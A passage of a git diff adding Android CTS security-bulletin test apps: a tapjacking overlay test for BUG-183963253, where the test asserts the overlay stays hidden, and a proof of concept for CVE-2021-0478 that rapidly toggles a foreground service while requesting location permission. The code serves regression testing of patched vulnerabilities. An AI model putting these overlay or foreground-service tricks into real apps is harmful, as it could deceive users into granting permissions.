+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183613671;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+    public Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    @Override
+    public void onCreate() {
+        Log.d(Constants.LOG_TAG, "onCreate() called");
+        super.onCreate();
+
+        DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+        int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+        int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.CENTER;
+        mLayoutParams.width = scaledWidth;
+        mLayoutParams.height = scaledHeight;
+        mLayoutParams.x = scaledWidth / 2;
+        mLayoutParams.y = scaledHeight / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.d(Constants.LOG_TAG, "onStartCommand() called");
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(Constants.LOG_TAG, "onDestroy() called");
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (!Settings.canDrawOverlays(this)) {
+            Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+        }
+
+        mButton = new Button(getApplicationContext());
+        mButton.setText(getResources().getString(R.string.tapjacking_text));
+        mButton.setTag(mButton.getVisibility());
+        mWindowManager.addView(mButton, mLayoutParams);
+
+        new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+        Log.d(Constants.LOG_TAG, "Floating window created");
+    }
+}
diff --git a/hostsidetests/edi/app/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
similarity index 62%
copy from hostsidetests/edi/app/Android.bp
copy to hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
index 96f2870..63ac1ca 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
@@ -1,10 +1,10 @@
-// Copyright (C) 2021 Google LLC.
+// Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,27 +12,20 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
-    name: "CtsDeviceInfoTestApp",
+    name: "BUG-183963253",
+    defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    defaults: ["cts_defaults"],
-    min_sdk_version: "26",
-    target_sdk_version: "31",
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.core",
-        "modules-utils-build",
-        "guava",
-    ],
-    sdk_version: "test_current",
     test_suites: [
-        "ats",
         "cts",
-        "gts",
-        "general-tests",
+        "vts10",
+        "sts",
     ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml
new file mode 100644
index 0000000..148fc7e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.BUG_183963253"
+    android:targetSandboxVersion="2">
+
+  <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+  <application android:theme="@style/Theme.AppCompat.Light">
+    <uses-library android:name="android.test.runner" />
+    <service android:name=".OverlayService"
+        android:enabled="true"
+        android:exported="false" />
+
+    <activity
+        android:name=".MainActivity"
+        android:label="ST (Permission)"
+        android:exported="true"
+        android:taskAffinity="android.security.cts.BUG_183963253.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.BUG_183963253" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:gravity="left"
+    tools:context=".MainActivity" >
+
+  <LinearLayout
+      android:id="@+id/linearLayout1"
+      android:layout_width="fill_parent"
+      android:layout_height="wrap_content"
+      android:layout_below="@+id/seekShowTimes"
+      android:layout_centerHorizontal="true"
+      android:layout_marginTop="53dp"
+      android:orientation="horizontal" >
+
+    <Button
+        android:id="@+id/btnStart"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Start" />
+
+  </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml
new file mode 100644
index 0000000..c363545
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/res/values/strings.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+  <string name="app_name">BUG_183963253</string>
+  <string name="app_description">This is an overlay-activity</string>
+  <string name="tapjacking_text">BUG_183963253 overlay text</string>
+</resources>
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java
similarity index 60%
copy from hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
copy to hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java
index cb07bae..6856fc4 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,12 +14,12 @@
  * limitations under the License.
  */
 
-package com.android.cts.userspacereboot.basic;
+package android.security.cts.BUG_183963253;
 
-import android.app.Activity;
+final class Constants {
 
-/**
- * An empty launcher activity.
- */
-public class LauncherActivity extends Activity {
+    public static final String LOG_TAG = "BUG-183963253";
+    public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+    public static final String ACTION_START_TAPJACKING = "BUG_183963253.start_tapjacking";
 }
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
new file mode 100644
index 0000000..b2dc9b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183963253;
+
+import static android.security.cts.BUG_183963253.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final long WAIT_FOR_UI_TIMEOUT = 10_000;
+
+    private Context mContext;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+        mContext = getApplicationContext();
+
+        // If the permission is not granted, the app will not be able to show an overlay dialog.
+        // This is required for the test below.
+        // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+        assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+                mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+                PackageManager.PERMISSION_GRANTED);
+
+        // Initialize UiDevice instance
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        if (!mDevice.isScreenOn()) {
+            mDevice.wakeUp();
+        }
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTapjacking() throws InterruptedException {
+        Log.d(LOG_TAG, "Starting tap-jacking test");
+
+        launchTestApp();
+
+        launchTapjackedActivity();
+
+        mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+        Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+        UiObject2 overlay = waitForView(By.text("BUG_183963253 overlay text"));
+        assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+    }
+
+    @After
+    public void tearDown() {
+        mDevice.pressHome();
+    }
+
+    private void launchTestApp() {
+        Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+                Constants.TEST_APP_PACKAGE);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+        assertNotNull("test-app did not appear!", view);
+        Log.d(LOG_TAG, "test-app appeared");
+    }
+
+    private void launchTapjackedActivity() {
+        Intent intent = new Intent();
+        intent.setAction("android.settings.USAGE_ACCESS_SETTINGS");
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
+        assertNotNull("Activity under-test was not launched or found!", view);
+        Log.d(LOG_TAG, "Started Activity under-test.");
+    }
+
+    private UiObject2 waitForView(BySelector selector) {
+        return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java
new file mode 100644
index 0000000..597423d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_183963253;
+
+import static android.security.cts.BUG_183963253.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        public void onReceive(Context context, Intent intent) {
+            startTapjacking();
+        }
+    };
+
+    private Button btnStart;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+
+        registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+        btnStart = (Button) findViewById(R.id.btnStart);
+        btnStart.setOnClickListener(v -> startTapjacking());
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+        stopOverlayService();
+    }
+
+    public void startTapjacking() {
+        Log.d(LOG_TAG, "Starting tap-jacking flow.");
+        stopOverlayService();
+
+        startOverlayService();
+        Log.d(LOG_TAG, "Started overlay-service.");
+    }
+
+    private void startOverlayService() {
+        startService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+
+    private void stopOverlayService() {
+        stopService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java
new file mode 100644
index 0000000..ec21f0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183963253;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+    public Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    @Override
+    public void onCreate() {
+        Log.d(Constants.LOG_TAG, "onCreate() called");
+        super.onCreate();
+
+        DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+        int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+        int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.CENTER;
+        mLayoutParams.width = scaledWidth;
+        mLayoutParams.height = scaledHeight;
+        mLayoutParams.x = scaledWidth / 2;
+        mLayoutParams.y = scaledHeight / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.d(Constants.LOG_TAG, "onStartCommand() called");
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(Constants.LOG_TAG, "onDestroy() called");
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (!Settings.canDrawOverlays(this)) {
+            Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+        }
+
+        mButton = new Button(getApplicationContext());
+        mButton.setText(getResources().getString(R.string.tapjacking_text));
+        mButton.setTag(mButton.getVisibility());
+        mWindowManager.addView(mButton, mLayoutParams);
+
+        new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+        Log.d(Constants.LOG_TAG, "Floating window button created");
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
index 7b410b7..16094ca 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
@@ -15,8 +15,19 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0478",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/android/security/cts/CVE_2021_0478/PocActivity.java",
+        "src/android/security/cts/CVE_2021_0478/PocService.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml
new file mode 100644
index 0000000..d8ec56c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0478"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0478"
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <activity android:name=".PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg
new file mode 100644
index 0000000..b829548
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java
new file mode 100644
index 0000000..65caacf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0478;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.Manifest;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+
+public class PocActivity extends Activity {
+    private WakeLock mScreenLock;
+    private Context mContext;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            mContext = this.getApplicationContext();
+            PowerManager pm = mContext.getSystemService(PowerManager.class);
+            mScreenLock = pm.newWakeLock(
+                    PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
+                    "PocActivity");
+            mScreenLock.acquire();
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.activity_main);
+            startServices();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    void startServices() {
+        try {
+            startForegroundService(new Intent(this, PocService.class));
+            requestPermission();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    void requestPermission() {
+        try {
+            this.requestPermissions(new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 12);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mScreenLock.release();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java
new file mode 100644
index 0000000..dfcedca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0478;
+
+import android.annotation.SuppressLint;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+    private static long SCAN_DURATION_MILLIS = 60000;
+
+    public PocService() {}
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        try {
+            NotificationManager notificationManager =
+                    getSystemService(NotificationManager.class);
+            String id = "channel";
+            NotificationChannel notificationChannel =
+                    new NotificationChannel(id, " ", NotificationManager.IMPORTANCE_NONE);
+            notificationManager.createNotificationChannel(notificationChannel);
+            @SuppressLint("ResourceType")
+            Notification notification = new Notification.Builder(this, id)
+                    .setSmallIcon(Icon.createWithResource(this, R.raw.image))
+                    .setContentTitle("hello").build();
+            int notificationID = 31;
+            long startTime = System.currentTimeMillis();
+            long endTime = startTime + SCAN_DURATION_MILLIS;
+            while (System.currentTimeMillis() < endTime) {
+                startForeground(notificationID, notification);
+                stopForeground(true);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
index 7b410b7..9adb876 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
@@ -15,8 +15,19 @@
  *
  */
 
-cc_test {
-    name: "CVE-2021-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-0586",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
